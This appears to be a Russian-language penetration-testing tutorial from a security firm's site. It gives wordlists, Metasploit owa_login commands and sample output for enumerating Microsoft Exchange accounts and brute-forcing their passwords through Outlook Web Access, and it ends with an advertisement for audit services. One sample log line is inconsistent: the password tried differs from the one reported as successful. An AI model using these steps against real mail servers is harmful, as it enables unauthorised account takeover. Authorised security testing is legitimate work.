Перебор и брутфорс учетных записей Microsoft Exchange через Outlook Web Access

В тестировании на проникновение, особенно при проверке криптостойкости паролей и социальной инженерии, часто требуется произвести перебор электронных почтовых ящиков пользователей и попытаться подобрать к ним пароли (или в дальнейшем использовать полученные ящики для социальной инженерии). Иногда удаётся успешно произвести перебор и брутфорс по протоколу SMTP, но как правило, SMTP сервер блокирует подобные действия (Как произвести перебор учетных записей через SMTP — описывается в статье Перебор почтовых адресов). Если в качестве почтового сервера используется Microsoft Exchange, то можно попробовать перебор и брутфорс через Web интерфейс почты. Если имя учетной записи такое же, как и имя почты, а как правило так и есть, то мы сможем провести перебор, если они различаются (что бывает крайне редко) то можно будет либо перечислить только имена пользователей, либо провести перебор паролей для известных имен пользователей.
Для перебора и брутфорса нам потребуется Metasploit Framework и 2 словаря.

Словарь с паролями (pass.txt):
123456
Qwerty
Password
MySecretPassword

Парольный словарь можно взять готовый или составить самостоятельно. Вообще составление словаря это довольно творческое дело.

Словарь с именами учетных записей (login.txt):
user1
user11
admin
user103
user201
a.ivanov

Обычно в компании существует шаблон для учетных записей (которые часто равны имени почтового ящика), поэтому узнав несколько существующих учетных записей, можно составить словарь для остальных возможных учетных записей, так же для массовой генерации можно воспользоваться утилитой CredCompilator, описанной в статье: Генерация сложных имен для перебора учетных записей и паролей.

После создания словарей, запускаем Metasploit Framework:

msfconsole

Если в Metasploit Framework подключена база данных, то вся информация будет сохранена в базе данных, а если не подключена, то можно отправлять копию вывода консоли в файл с помощью команды:

spool /root/msfmail.log

Выбираем модуль auxiliary/scanner/owa_login:

use auxiliary/scanner/http/owa_login

Указываем файл с паролями:

set pass_file pass.txt

Указываем файл с логинами:

set user_file login.txt

Указываем имя сервера, на котором есть Outlook Web Access (OWA):

set rhost mail.example.com

Запускаем:

run

Результатом работы будет лог следующего вида:

[*] mail.example.com:443 - [0010/2236] - Trying user103 : 123456
[*] mail.example.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.374735926 'CONSTO\user103' : '123456': SAVING TO CREDS
[*] mail.example.com:443 - [0010/2236] - Trying user11 : 123456
[-] mail.example.com:443 - [0010/2236] - FAILED LOGIN. 2.529050564 'CONSTO\user11' : '123456' (HTTP redirect with reason 2)

Где
FAILED LOGIN, BUT USERNAME IS VALID — учетная запись существует, но пароль не подошёл (подходит для перечисления учетных записей).
FAILED LOGIN — такой учетной записи не существует.

Если при этом удастся подобрать учетную запись, то мы увидим следующую запись:

[*] mail.example.com:443 - [1172/1296] - Trying user201 : Yanvar2017
[+] mail.example.com:443 OWA - SUCCESSFUL LOGIN. 0.361979268 'CONSTO\user201' : 'MySecretPassword'

Соответственно для перебора учетных записей можно использовать всего один пароль в файле паролей, а для подбора паролей на уже найденные учетные записи — полноценный словарь.

Теперь остаётся обработать логи с помощью grep, awk, sed и прочих утилит, чтобы получить список почтовых адресов и успешно подобранных паролей.

Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктуры

Быть уверенным в своей IT-инфраструктуре — это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.